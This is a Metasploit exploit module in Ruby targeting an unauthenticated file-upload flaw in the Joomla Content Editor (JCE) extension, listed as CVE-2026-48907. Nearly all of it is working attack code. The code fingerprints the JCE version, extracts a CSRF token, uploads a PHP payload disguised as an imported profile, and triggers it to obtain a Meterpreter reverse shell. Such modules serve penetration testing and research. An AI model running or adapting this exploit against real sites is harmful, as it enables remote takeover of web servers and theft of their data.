Joomla Content Editor Unauthenticated File Upload RCE

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE
          (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce
          authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.
          This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.

          JCE versions up to and including 2.9.99.4 are affected.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'ispyispyispy', # msf module
          'David Jardin', # discovery
          'Uwe Flottemesch' # discovery
        ],
        'References' => [
          ['CVE', '2026-48907'],
          ['GHSA', 'c3f5-4g7f-qjqj'],
          ['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites']
        ],
        'DisclosureDate' => '2026-06-05',
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Joomla Content Editor (Joomla!)', {}]
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']),
      OptString.new('FILENAME', [false, 'The filename for the uploaded payload (default: random)'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php')
    )

    return CheckCode::Unknown('Could not connect to web service.') unless res
    return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404
    return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200

    # We could also check with .php extension, but i'd rather not trigger anything by an accident.
    filename = "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}#{['.jpg', '.png'].sample}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'tmp', filename)
    )

    return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403

    version = extract_jce_version

    return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version

    version = Rex::Version.new(version)

    return CheckCode::Safe("JCE version #{version} detected.") unless version <= Rex::Version.new('2.9.99.4')

    CheckCode::Appears("JCE version #{version} detected.")
  end

  def exploit
    payload_filename = datastore['FILENAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php"

    fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') unless payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i)

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    )

    fail_with(Failure::Unreachable, 'Could not connect to web service') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200

    csrf_token = extract_csrf_token(res.body)
    fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token
    vprint_status("Extracted CSRF token: #{csrf_token}")

    print_status("Uploading #{payload_filename}")
    res = upload_profile(payload_filename, payload.encoded, csrf_token)

    fail_with(Failure::Unreachable, 'No response received for the profile upload request') unless res
    fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}") unless res.code == 200

    register_files_for_cleanup(payload_filename)

    payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename)
    print_status("Triggering #{payload_uri}")

    send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5)
  end

  def extract_jce_version
    uri = normalize_uri(
      target_uri.path, 'media', 'com_jce', 'editor', 'extensions',
      'popups', 'jcemediabox', 'js', 'jcemediabox.js'
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'vars_get' => { 'v' => Time.now.to_i } # cache buster
    )

    return unless res&.code == 200

    match = res.body.match(/jce\s*-\s*([\d.]+)/)
    match[1] if match
  end

  def extract_csrf_token(body)
    match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/)
    return match[1] if match

    match = body.match(/<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"/i)
    match[1] if match
  end

  def upload_profile(filename, content, csrf_token)
    mime = Rex::MIME::Message.new
    mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"")
    mime.add_part('profiles.import', nil, nil, 'form-data; name="task"')
    mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"")

    data = mime.to_s

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => { 'option' => 'com_jce' },
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => data
    )
  end
end